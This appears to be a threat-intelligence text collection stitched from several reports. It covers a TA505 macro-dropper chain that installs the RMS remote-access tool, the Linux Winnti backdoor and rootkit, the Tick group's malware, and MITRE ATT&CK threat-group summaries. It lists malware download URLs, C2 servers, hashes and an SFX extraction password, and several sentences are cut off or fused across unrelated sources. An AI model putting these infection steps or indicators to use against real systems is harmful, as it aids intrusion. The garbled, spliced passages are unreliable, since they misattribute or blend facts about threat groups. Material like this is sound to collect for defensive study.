When uploading stolen data to a cloud service , it uses predefined directory path such as /english , /video or /scriptout .
The ScarCruft group keeps expanding its Exfiltration targets to steal further information from infected hosts and continues to create tools for additional data Exfiltration .
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ScarCruft tools : 02681a7fe708f39beb7b3cf1bd557ee9 Bluetooth info harvester .
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ScarCruft tools : 02681a7fe708f39beb7b3cf1bd557ee9 Bluetooth info harvester .
ScarCruft tools : C781f5fad9b47232b3606e4d374900cd Installer .
ScarCruft tools : 032ed0cd234f73865d55103bf4ceaa22 Downloader .
ScarCruft tools : 22aaf617a86e026424edb7c868742495 AV Remover .
ScarCruft tools : 07d2200f5c2d03845adb5b20841faa94 AV Remover .
GreezaBackdoor of DarkHotel : 5e0e11bca0e94914e565c1dcc1ee6860 .
TA505 is Expanding its Operations In the last few days , during monitoring activities , Yoroi CERT noticed a suspicious attack against an Italian organization .
The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
The threat group is also known for its recent attack campaign against Bank and Retail business sectors , but the latest evidence indicates a potential expansion of its criminal operation to other industries too .
Dropper : 0c88e285b6fc183c96b6f03ca5700cc9ca7c83dfccc6ad14a946d1868d1cc273 Excel file with malicious macro .
The intercepted attack starts with a spear phishing email embedding a spreadsheet .
The document is weaponized with malicious macro code triggered when the user opens the document to see the content under the obfuscated view .
To understand its capabilities , the macro code has been isolated and analyzed in detail .
Surprisingly , the source code is composed by more than 1600 lines of code and it is highly obfuscated .
Paying more attention during the code analysis , we discovered that it is full of junk instructions used to declare and initialize variables never used .
Only a small portion of this code is actually used to start the infection , the rest is just junk code .
Once the macro is executed , the malware downloads two files from “ kentona[.su ” , using an SSL encrypted communication , and stores them in “ C:\Users\Public ” path : “ rtegre.exe ” and “ wprgxyeqd79.exe ” .
Generic : aafa83d5e0619e69e64fcac4626cfb298baac54c7251f479721df1c2eb16bee7( Executable file ) .
Trojan : 6f1a8ee627ec2ed7e1d818d32a34a163416938eb13a97783a71f9b79843a80a2 SFX ( self-extracting archive ) ( Executable file ) .
The “ wprgxyeqd79.exe ” sample actually is a Self Extracting Archive () containing four files designed to be extracted in the %TEMP% folder .
After that , it executes “ exit.exe ” which launches the “ i.cmd ” batch script .
This new script performs a ping to “ www[.cloudflare[.com ” for three times with a delay of 3000ms , testing the connectivity of the victim machine .
If the host is successfully reached , the script renames a file named “ kernel.dll ” , obviously not the real one , in “ uninstall.exe ” , another misleading name .
Then it invokes the renamed executable and runs it passing a series of parameter : “ uninstall.exe x -pQELRatcwbU2EJ5 -y ”These parameters are needed to self-decrypt the “ uninstall.exe ” file which is again another SFX archive .
The “ -p ” parameter , indeed , specify the password of the archive to be extracted .
The crucial file , at this point of the infection , is the SFX executable named “ uninstall.exe ” .
It has a structure similar to previous “ wprgxyeqd79.exe ” file : two of their files have the same name , but the content of this new SFX is extracted in the “ %ALLUSERSPROFILE%\Windows Anytime Upgrade ” directory .
Another time , the execution flow moves from “ exit.exe to “ i.cmd ” .
The script is quite different from the previous one : it guarantees its persistence on the victim machine through the setting of “ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ” registry key , creating a new entry named “ Windows Anytime Upgrade ” which points to “ winserv.exe ” , just stored into the same folder .
Thus , the script provides to run “ winserv.exe ” .
An interesting part of the script is the continuous killing of every “ rundll32.exe ” process running into the victim machine , generates a huge amount of noise , as visible in the following process explorer view .
Anyway , just before the kill loop , the real malicious payload is executed : the“ winserv.exe ” file .
Analyzing it in depth , we discover it actually is the RMS ( Remote Manipulator System ) client by TektonIT , encrypted using the MPress PE compressor utility , a legitimate tool , to avoid antivirus detection .
TektonIT RMS acts as a remote administration tool , allowing the attacker to gain complete access to the victim machine .
Together with the RMS executable , there is another file named “ settings.dat ” containing the custom configuration prepared by the attacker .
It contains information like : Server address and port the client will connect to ; The password chosen by the attacker for the remote access ; The ID associated to the victim client .
All these information are automatically loaded by the RMS executable and firstly stored in the registry key “ HKCU\Software\tektonik\Remote MANIPULATOR System\Host\parameters ” .
At the next startup , the software will directly load the configuration from the just created key .
The client establishes a new connection with the remote command and control server hosted on a Bulgarian remote host 217.12.201.159 , part of a Virtual Dedicated Server subnet of the AS-21100, operated by ITL LLC .
After the reconstruction of the full infection chain , we noticed strong similarities with a recent spear-phishing attack campaign against an unspecified US retail company .
The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor : a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
The comparison of the infection chains reveals in both cases the attacker used a couple of SFX stages to deploy the “ RMS ” software : a legitimate remote administration tool produced by the Russian company “ TektonIT ” .
The tool is able to grant remote access and full , direct control of the infected machine to the group .
Also , some code pieces are directly re-used in theanalyzed campaigns , such as the “ i.cmd ” and “ exit.exe ” files , and , at the same time , some new components have been introduced , for instance the “ rtegre.exe ” and the “ veter1605_MAPS_10cr0.exe ” file .
During the analysis , we also noticed the “ veter1605_MAPS_10cr0.exe ” file slightly changed run after run , a few hours after the initial discovery the infection chain dropped it with different icons , different suffix , from “ cr0 ” to “ cr24 ” , and appendix from “ veter1605_ ” to “ veter2005_ ” .
This may indicate the campaign is still ongoing .
The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the “ Stealthy Email Stealer ” part of their arsenal .
The peculiarity of this recent attack wave is it actually hit a company not strictly in the Banking or Retail sector , as they recently did , suggesting the threat group could be potentially widening their current operations .
Dropurl : kentona[.su – 47.245.58.124 https://kentona[.su/xpepriubgpokejifuv7efrhguskdgfjn/ananas.exe https://kentona[.su/xpepriubgpokejifuv7efrhguskdgfjn/pasmmm.exe C2: 217[.12.201.159 TA505 : 0c88e285b6fc183c96b6f03ca5700cc9ca7c83dfccc6ad14a946d1868d1cc27325 TA505 : 1ee1ba514212f11a69d002005dfc623b1871cc808f18ddfa2191102bbb9f623b TA505 : fd701894e7ec8d8319bc9b32bba5892b11bdf608c3d04c2f18eff83419eb6df0 TA505 : c69ce39ac3e178a89076136af7418c6cb664844b0ce5cb643912ed56c373a08a TA505 : 5310c2397ba4c783f7ee9724711a6da9b5c603b5c9781fff3407b46725e338b3 .
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Winnti : More than just Windows and Gates .
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Winnti : More than just Windows and Gates .
The Winnti malware family was first reported in 2013 by Kaspersky Lab .
Since then , threat actors leveraging Winnti malware have victimized a diverse set of targets forvaried motivations .
While the name ‘ Winnti ’ in public reporting was previously used tosignify a single actor , pronounced divergence in targeting and tradecraft betweencampaigns has led industry consensus to break up the tracking of the continued use ofthe Winnti malware under different actor clusters .
The underlying hypothesis is that themalware itself may be shared ( or sold ) across a small group of actors .
In April 2019 , reports emerged of an intrusion involving Winnti malware at a GermanPharmaceutical company .
Following these reports , Chronicle researchers doubled downon efforts to try to unravel the various campaigns where Winnti was leveraged .
Analysisof these larger convoluted clusters is ongoing .
While reviewing a 2015 report of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti samples designed specifically for Linux .
The following is a technical analysis of thisvariant .
The Linux version of Winnti is comprised of two files : a main backdoor ( libxselinux ) and a library ( libxselinux.so ) used to hide it ’s activity on an infected system .
‘ libxselinux.so ’ — the userland rootkit .
libxselinux.so.old : 11a9f798227be8a53b06d7e8943f8d68 906dc86cb466c1a22cf847dda27a434d04adf065 4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2aThe library used to hide Winnti ’s system activity is a copy of the open-source userland rootkit Azazel , with minor changes .
When executed , it will register symbols for multiple commonly used functions , including : open() , rmdir() , and unlink() , and modify their returns to hide the malware ’s operations .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘ Decrypt2 ’ , which is used to decode an embedded configuration similar to the core implant .
Unlike standard Azazel which is configured to hide network activity based on port ranges , the Winnti modified version keeps a list of process identifiers and network connections associated with the malware ’s activity .
This modification likely serves to simplify the operator ’s sample configuration process by not having to denote specific ports to hide .
Strings within this sample associated with the malware ’s operations are encoded using a single-byte XOR encoding .
The following is an example Python function to decode these strings .
libxselinux.old : 7f4764c6e6dabd262341fd23a9b105a3 dc96d0f02151e702ef764bbc234d1e73d2811416 ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23Winnti Linux variant ’s core functionality is within ‘ libxselinux ’ .
Upon execution , an embedded configuration is decoded from the data section using a simple XOR cipher .
The decoded configuration is similar in structure to the version Kaspersky classifies as Winnti 2.0, as well as samples in the 2015 Novetta report .
Embedded in this sample ’s configuration three command-and-control server addresses and two additional strings we believe to be campaign designators .
Winnti ver.1 , these values were designated as ‘ tag ’ and ‘ group ’ .
For context , embedded Winnti campaign designators have ranged from target names , geographic areas , industry , and profanity .
Winnti malware handles outbound communications using multiple protocols including : ICMP , HTTP , as well as custom TCP and UDP protocols .
Use of these protocols is thoroughly documented in the Novetta and Kaspersky reports .
While the outbound communication mechanisms are well documented , less attention has been paid to a feature of recent versions of Winnti we came across in the Linux variant ( as well as Windows ) that allows the operators to initiate a connection directly to an infected host , without requiring a connection to a control server .
This secondary communication channel may be used by operators when access to the hard-coded control servers is disrupted .
Additionally , the operators could leverage this feature when infecting internet-facing devices in a targeted organization to allow them to reenter a network if evicted from internal hosts .
This passive implant approach to network persistence has been previously observed with threat actors like Project Sauron and the Lamberts .
Initial technical information about this feature was shared by the Thyssenkrupp CERT in the form of an Nmap script that could be used to identify Winnti infections through network scanning .
This script identifies infected hosts by first sending a custom hello packet , immediately followed by an encoded request for host information , and then parsing the response .
The initial request , referred to as the helo/hello request in the Nmap script , is comprised of four DWORDs .
The first three are generated by rand() and the fourth is computed based on the first and third .
When received by a Winnti infected host , it will validate the received packet and listen for a second inbound request containing tasking .
This second request ( Encoded Get System Information Request ) is encoded using the same method as the custom TCP protocol used for communication with command-and-control servers , which uses a four-byte XOR encoding .
Before acting on the request , Winnti will validate the third DWORD contains the magic value 0xABC18CBA before executing tasking .
Clusters of Winnti related activity have become a complex topic in threat intelligence circles , with activity vaguely attributed to different codenamed threat actors .
The threat actors utilizing this toolset have repeatedly demonstrated their expertise in compromising Windows based environments .
An expansion into Linux tooling indicates iteration outside of their traditional comfort zone .
This may indicate the OS requirements of their intended targets but it may also be an attempt to take advantage of a security telemitry blindspot in many enterprises , as is with Penquin Turla and APT28 ’s Linux XAgent variant .
Utilizing a passive listener as a communications channel is characteristic of the Winnti developers ’ foresight in needing a failsafe secondary command-and-control mechanisms .
BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group .
The group has shown interest in prominent figures in the United Nations , as well as opposition bloggers , activists , regional news correspondents , and think tanks .
A group known by MicrosoftNEODYMIUM is Oreportedly associated closelyBlackOasis operations , but evidence that the group names are aliases has not been identified .
BRONZE BUTLER : REDBALDKNIGHT , Tick .
BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008 .
The group primarily targets Japanese organizations , particularly those in government , biotechnology , electronics manufacturing , and industrial chemistry .
Carbanak : Anunak , Carbon Spider .
Carbanak is a threat group that mainly targets banks .
It also refers to malware of the same name ( Carbanak ) .
It is sometimes referred toFIN7 , but these appear to be two groups using theCarbanak malware and are therefore tracked separately .
Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government .
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency sevises .
Gorgon Group is a threat group consisting of members who are suspected to be Pakistan based or have other connections to Pakistan .
The group has performed a mix of criminal and targeted attacks , including campaigns against government organizations in the United Kingdom , Spain , Russia , and the United States .
Sandworm Team : Quedagh , VOODOO BEAR .
Sandworm Team is a Russian cyber espionage group that has operated since approximately 2009 .
The group likely consists of Russian pro-hacktivists .
Sandworm Team targets mainly Ukrainian entities associated with energy , industrial control systems , SCADA , government , and media .
Sandworm Team has been linked to the Ukrainian energy sector attack in late 2015 .
Scarlet Mimic is a threat group that has targeted minority rights activists .
This group has not been directly linked to a government source , but the group 's motivations appear to overlap with those of the Chinese government .
While there is some overlap between IP addresses used by ScarletPanda , it has not been concluded that the groups are the same .
Silence is a financially motivated threat actor targeting financial institutions in different countries .
The group was first seen in June 2016 .
Their main targets reside in Russia , Ukraine , Belarus , Azerbaijan , Poland and Kazakhstan .
They compromised various banking systems , including the Russian Central Bank 's Automated Workstation Client , ATMs , and card processing .
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Leafminer : Raspite .
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Leafminer : Raspite .
Leafminer is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017 .
Elderwood : Elderwood Gang , Beijing Group , Sneaky Panda .
Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora .
The group has targeted defense organizations , supply chain manufacturers , human rights and nongovernmental organizations ( NGOs ) , and IT service providers .
Equation is a sophisticated threat group that employs multiple remote access tools .
The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives .
FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016 .
The group uses stolen data exfiltrated from victims to extort organizations .
Orangeworm is a group that has targeted organizations in the healthcare sector in the United States , Europe , and Asia since at least 2015 , likely for the purpose of corporate espionage .
Patchwork : Dropping Elephant , Chinastrats , MONSOON , Operation Hangover .
Patchwork is a cyberespionage group that was first observed in December 2015 .
While the group has not been definitively attributed , circumstantial evidence suggests the group may be a pro-Indian or Indian entity .
Patchwork has been seen targeting industries related to diplomatic and government agencies .
Much of the code used by this group was copied and pasted from online forums .
Patchwork was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018 .
PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control .
Release_Time : unknow Report_URL : https://attack.mitre.org/groups/ APT19 ： Codoso , C0d0so0 , Codoso Team , Sunshop Group .
APT19 a Chinese-based threat group that has targeted a variety of industries , including defense , finance , energy , pharmaceutical , telecommunications , high tech , education , manufacturing , and legal services .
In 2017 , a phishing campaign was used to target seven law and investment firms .
Panda the same group , but it is unclear from open source information if the groups are the same .
APT28 : SNAKEMACKEREL , Swallowtail , Group 74 , Sednit , Sofacy , Pawn Storm , Fancy Bear , STRONTIUM , Tsar Team , Threat Group-4127 , TG-4127 .
APT28 a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment .
This group reportedly compromised the Hillary Clinton campaign , the Democratic National Committee , and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election .
APT28 has been active since at least 2004 .
APT29 : YTTRIUM , The Dukes , Cozy Bear , CozyDuke .
APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008 .
This group reportedly compromised the Democratic National Committee starting in the summer of 2015 .
PLATINUM is an activity group that has targeted victims since at least 2009 .
The group has focused on targets associated with governments and related organizations in South and Southeast Asia .
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005 .
The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm .
PROMETHIUM is an activity group that has been active since at least 2012 .
The group conducted a campaign in May 2016 and has heavily targeted Turkish victims .
PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics .
Elfin APT33 is a suspected Iranian threat group that has carried out operations since at least 2013 .
The group has targeted organizations across multiple industries in the United States , Saudi Arabia , and South Korea , with a particular interest in the aviation and energy sectors .
ScarCruft , Reaper , Group123 , TEMP.Reaper APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012 .
The group has targeted victims primarily in South Korea , but also in Japan , Vietnam , Russia , Nepal , China , India , Romania , Kuwait , and other parts of the Middle East .
APT37 has also been linked to following campaigns between 2016-2018 : Operation Daybreak , Operation Erebus , Golden Time , Evil New Year , Are you Happy? , FreeMilk , Northern Korean Human Rights , and Evil New Year 2018 .
APT38 is a financially-motivated threat group that is backed by the North Korean regime .
The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014 .
APT3 : Gothic Panda , Pirpi , UPS Team , Buckeye , Threat Group-0110 , TG-0110 .
APT3 is a China based threat group that researchers have attributed to China's Ministry of StateSecurity .
This group is responsible for the campaigns known as Operation Clandestine Fox , Operation Clandestine Wolf , and Operation Double Tap .
As of June 2015 , the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong .
MITRE has also developed an APT3 Adversary Emulation Plan .
APT30 is a threat group suspected to be associated with the Chinese government .
While Naikon shares some characteristics with APT30 , the two groups do not appear to be exact matches .
APT32 : SeaLotus , OceanLotus , APT-C-00 .
APT32 is a threat group that has been active since at least 2014 .
The group has targeted multiple private sector industries as well as with foreign governments , dissidents , and journalists with a strong focus on Southeast Asian countries like Vietnam , the Philippines , Laos , and Cambodia .
They have extensively used strategic web compromises to compromise victims .
The group is believed to be Vietnam based .
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Tick Group Continues Attacks .
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Tick Group Continues Attacks .
The " Tick " group has conducted cyber espionage attacks against organizations in the Republic of Korea and Japan for several years .
The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries .
The group is known to use custom malware called Daserf , but also employs multiple commodity and custom tools , exploit vulnerabilities , and use social engineering techniques .
With multiple tools and anonymous infrastructure , they are running longstanding and persistent attack campaigns .
We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years .
Symantec was first to publicly report on Tick , followed by LAC in 2016 .
These reports discussed the group ’s malware , Daserf ( a.k.a Muirim or Nioupale ) and some additional downloader programs .
Though Daserf wasn’t a popular attack tool at the time of publishing the two reports , it dates back to at least 2011 .
Using AutoFocus , we were able to identify the link among Daserf and two other threats , 9002 and Invader .
These threats shared infrastructure between July 2012 and April 2013 .
Invader ( a.k.a Kickesgo ) is a backdoor that injects its main code into a legitimate process , such as explorer.exe , and has following functions :Logs keystrokes and mouse movement Captures screenshots Opens cmd.exe shell Enumerates processes Executes programs Removes itself Enumerates all opening TCP and UDP ports .
9002 is the infamous RAT frequently seen in targeted attacks reported by various security vendors , including Palo Alto Networks .
Interestingly , the C2 servers linking 9002 to Daserf were described in the report of an Adobe Flash Zero-day attack from FireEye in 2013 .
These domains were registered through the privacy protection services in 2008 and 2011 .
krjregh.sacreeflame.com lywja.healthsvsolu.com .
Though we don’t know the targets of these malware samples at the time of writing this article , we suspect the same group is behind these threats for a number of reasons .
The samples of Daserf that shared infrastructure were submitted to VirusTotal only from Japan multiple times in 2013 .
As noted in a later section , another Invader sample shared different C2 servers with Daserf .
Symantec reported that Tick exploited additional Adobe Flash and Microsoft Office vulnerabilities .
SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints .
Therefore , Tick or their digital quartermaster is capable of deploying new and unique exploits .
In July 2016 , we identified a compromised website in Japan that was hosting a Daserf variant .
The web server was also a C2 server for another threat , Minzen ( a.k.a , XXMM , Wali , or ShadowWali ) .
The threat often uses compromised web servers in Japan and the Republic of Korea .
As Kaspersky and Cybereason recently posted , Minzen is a modular malware that has both 32-bit and 64-bit components in its resource section or configuration data in its body .
One of the Minzen samples ( SHA256 : 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2 ) found in the Republic of Korea in December 2016 installs simple backdoor module as a final payload on a compromised computer .
It opens a TCP port and receives commands from a remote attacker .
According to the debug path in the body , the author of the tool called it “ NamelessHdoor , ” and its internal version is identified as “ V1.5. ”The payload is based on “ Nameless Backdoor ” which has been publicly available for more than ten years .
The oldest code we could identify was hosted on a famous Chinese source code sharing site since 2005 .
The author of the NamelessHdoor appears to have created additional versions of the Nameless Backdoor by removing unnecessary functions , and added open-source DLL injection code from ReflectiveDLLLoader .
There is minimal public information regarding the Nameless Backdoor , except for the interesting report from Cyphort in 2015 .
The researcher of the company analyzed multiple threats , including Invader , Nioupale (Daserf ) and Hdoor found in an attack against an Asian financial institution .
We examined the sample described in the report as Hdoor and found it ’s a previous version of the NamelessHdoor we discovered in the Minzen sample , but without support for DLL injection .
It turned out that the DLL files we found are a custom variant of Gh0st RAT , and the EXE files download the RAT .
Since the source code is publicly available , Gh0st RAT has been used by multiple actors for years .
The domain , softfix.co.kr was registered in 2014 .
One of subdomains , news.softfix.co.kr was the C2 server of Daserf ( 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423 ) .
Another subdomain , bbs.softfix.co.kr was hosted on same IP address as bbs.gokickes.com , which was reported as the C2 server of Invader by Cyphort .
We also identified www.gokickes.com was the C2 of another Invader variant ( 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb ) .
In addition to the infrastructure , the attacker also shared code .
The Gh0st downloaders employ simple substitution ciphers for hiding strings .
We also identified another malware family , HomamDownloader , sharing some servers with Daserf .
An overview of the connections among these threats is discussed in below .
HomamDownloader is a small downloader program with minimal interesting characteristics from a technical point of view .
HomamDownloader was discovered to be delivered by Tick via a spearphishing email .
The adversary crafted credible email and attachment after understanding the targets and their behavior .
The email below was sent from a personal email account with a subject line of “ New Year Wishes on January 1st ” .
The message asked the recipient to rename the attachment extension from “ ._X_ ” to “ .exe ” and opening it with the password specified in the email to view the Happy New Year eCard in the correct and polite language .
In addition to the social engineering email technique , the attacker also employs a trick to the attachment .
The actor embedded malicious code to a resource section of the legitimate SFX file created by a file encryption tool , and modified the entry point of the program for jumping to the malicious code soon after the SFX program starts .
The malicious code drops HomamDownloader , then jumps back to the regular flow in the CODE section , which in turn asks the user the password and decrypts the file .
Therefore , once a user executes the attachment and sees the password dialog on SFX , the downloader dropped by the malicious code starts working even if the user chooses the Cancel on the password window .
Should the user become aware of the infection later , it may be difficult to find the cause due to the fact that the original embedded file contained within the SFX is benign .
Tick was spotted last year , but they are actively and silently attacking various organizations in South Korea and Japan for a number of years .
While some of the group ’s tools , tactics , and procedures ( TTPs ) have been covered within this article , it is likely there is much that still remains uncovered .
Daserf : 04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a .
Daserf : f8458a0711653071bf59a3153293771a6fb5d1de9af7ea814de58f473cba9d06 .
Daserf : e8edde4519763bb6669ba99e33b4803a7655805b8c3475b49af0a49913577e51 .
Daserf : 21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd .
Daserf : 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423 .
Invader : 0df20ccd074b722d5fe1358b329c7bdebcd7e3902a1ca4ca8d5a98cc5ce4c287 .
Invader : e9574627349aeb7dd7f5b9f9c5ede7faa06511d7fdf98804526ca1b2e7ce127e .
Invader : 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb .
Minzen : 797d9c00022eaa2f86ddc9374f60d7ad92128ca07204b3e2fe791c08da9ce2b1 .
Minzen : 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2 .
Minzen : 26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82 .
NamelessHdoor : dfc8a6da93481e9dab767c8b42e2ffbcd08fb813123c91b723a6e6d70196636f .
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Gh0stRAt Downloader : ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974 .
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Gh0stRAt Downloader : ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974 .
Gh0stRAt Downloader : e34f4a9c598ad3bb243cb39969fb9509427ff9c08e63e8811ad26b72af046f0c .
Custom Gh0st : 8e5a0a5f733f62712b840e7f5051a2bd68508ea207e582a190c8947a06e26f40 .
Datper : 7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849 .
HomamDownloader : a624d2cd6dee3b6150df3ca61ee0f992e2d6b08b3107f5b00f8bf8bcfe07ebe7 .
C2 : lywjrea.gmarketshop.net .
C2 : krjregh.sacreeflame.com .
C2 : psfir.sacreeflame.com .
C2 : lywja.healthsvsolu.com .
C2 : phot.healthsvsolu.com .
C2 : blog.softfix.co.kr .
C2 : news.softfix.co.kr .
C2 : www.gokickes.com .
C2 : log.gokickes.com .
The group is responsible for the campaign known as Operation Wilted Tulip .
Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security ( GDGS ) and has operated since at least 2012 .
Darkhotel is a threat group that has been active since at least 2004 .
The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks .
The actors have also conducted spearphishing .
Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014 .
They appear to focus on targeting individuals of interest to Iran who work in academic research , human rights , and media , with most victims having been located in Iran , the US , Israel , and the UK .
Charming Kitten usually tries to access private email and Facebook accounts , and sometimes establishes a foothold on victim computers as a secondary objective .
The group 's TTPs overlap extensively with another groupMagic Hound , resulting in reporting that may not distinguish between the two groups' activities .
Cleaver : Threat Group 2889 , TG-2889 .
Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver .
Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 ( TG-2889 ) .
Cobalt Group : Cobalt Gang , Cobalt Spider .
Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions .
The group has conducted intrusions to steal money via targeting ATM systems , card processing , payment systems and SWIFT systems .
Cobalt Group has mainly targeted banks in Eastern Europe , Central Asia , and Southeast Asia .
One of the alleged leaders was arrested in Spain in early 2018 , but the group still appears to be active .
The group has been known to target organizations in order to use their access to then compromise additional victims .
Reporting indicates there may be linksCobalt Group and both theCarbanak and theTaidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government .
TEMP.Veles ： XENOTIME .
TEMP.Veles is a Russia based threat group that has targeted critical infrastructure .
The group has been observed utilizing TRITON , a malware framework designed to manipulate industrial safety systems .
The White Company is a likely state-sponsored threat actor with advanced capabilities .
From 2017 through 2018 , the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan .
Molerats : Operation Molerats , Gaza Cybergang .
Molerats is a politically-motivated threat group that has been operating since 2012 .
The group 's victims have primarily been in the Middle East , Europe , and the United States .
MuddyWater : Seedworm , TEMP.Zagros .
MuddyWater is an Iranian threat group that has primarily targeted Middle Eastern nations , and has also targeted European and North American nations .
The group 's victims are mainly in the telecommunications , government ( IT services ) , and oil sectors .
Activity from this group was previously linked to FIN7 , but the group is believed to be a distinct group possibly motivated by espionage .
Naikon is a threat group that has focused on targets around the South China Sea .
The group has been attributed to the Chinese People ’s Liberation Army ’s ( PLA ) Chengdu Military Region Second Technical Reconnaissance Bureau ( Military Unit Cover Designator 78020 ) .
While Naikon shares some characteristics with APT30 , the two groups do not appear to be exact matches .
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APT39 : Chafer .
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APT39 : Chafer .
Iranian cyber espionage group that has been active since at least 2014 .
They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran 's national priorities .
APT41 is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity .
APT41 has been active since as early as 2012 .
The group has been observed targeting healthcare , telecom , technology , and video game industries in 14 countries .
Axiom : Group72 .
Axiom is a cyber espionage group suspected to be associated with the Chinese government .
It is responsible for the Operation SMN campaign .
Though both this groupWinnti Group use theWinnti , the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting .
Suckfly is a China based threat group that has been active since at least 2014 .
TA459 is a threat group believed to operate out of China that has targeted countries including Russia , Belarus , Mongolia , and others .
TA505 is a financially motivated threat group that has been active since at least 2014 .
The group is known for frequently changing malware and driving global trends in criminal malware distribution .
Magic Hound : Rocket Kitten , Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish , Newscaster , Cobalt Gypsy , APT35 .
Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014 .
The group behind the campaign has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
menuPass : Stone Panda , APT10 , Red Apollo , CVNX , HOGFISH .
menuPass is a threat group that appears to originate from China and has been active since approximately 2009 .
The group has targeted healthcare , defense , aerospace , and government sectors , and has targeted Japanese victims since at least 2014 .
In 2016 and 2017 , the group targeted managed IT service providers , manufacturing and mining companies , and a university .
Moafee is a threat group that appears to operate from the Guandong Province of China .
Due to overlapping TTPs , including similar custom tools , Moafee is thought to have a direct or indirect relationship with the threat group DragonOK .
SilverTerrier is a Nigerian threat group that has been seen active since 2014 .
SilverTerrier mainly targets organizations in high technology , higher education , and manufacturing .
Operation Soft Cell is a group that is reportedly affiliated with China and is likely state-sponsored .
The group has operated since at least 2012 and has compromised high-profile telecommunications networks .
Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia , particularly government entities , since at least 2015 .
Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan , the Philippines , and Hong Kong .
Tropic Trooper focuses on targeting government , healthcare , transportation , and high-tech industries and has been active since 2011 .
Turla : Waterbug , WhiteBear , VENOMOUS BEAR , Snake , Krypton .
Turla is a Russian-based threat group that has infected victims in over 45 countries , spanning a range of industries including government , embassies , military , education , research and pharmaceutical companies since 2004 .
Heightened activity was seen in mid-2015 .
Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware .
Turla ’s espionage platform is mainly used against Windows machines , but has also been seen used against macOS and Linux machines .
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FIN6 : ITG08 .
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FIN6 : ITG08 .
FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces .
This group has aggressively targeted and compromised point of sale ( PoS ) systems in the hospitality and retail sectors .
Leviathan : TEMP.Jumper , APT40 , TEMP.Periscope .
Leviathan is a cyber espionage group that has been active since at least 2013 .
The group generally targets defense and government organizations , but has also targeted a range of industries including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities in the United States , Western Europe , and along the South China Sea .
Lotus Blossom : DRAGONFISH , Spring Dragon .
Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia .
Machete : El Machete .
Machete is a group that has been active since at least 2010 , targeting high-profile government entities in Latin American countries .
admin@338 is a China based cyber threat group .
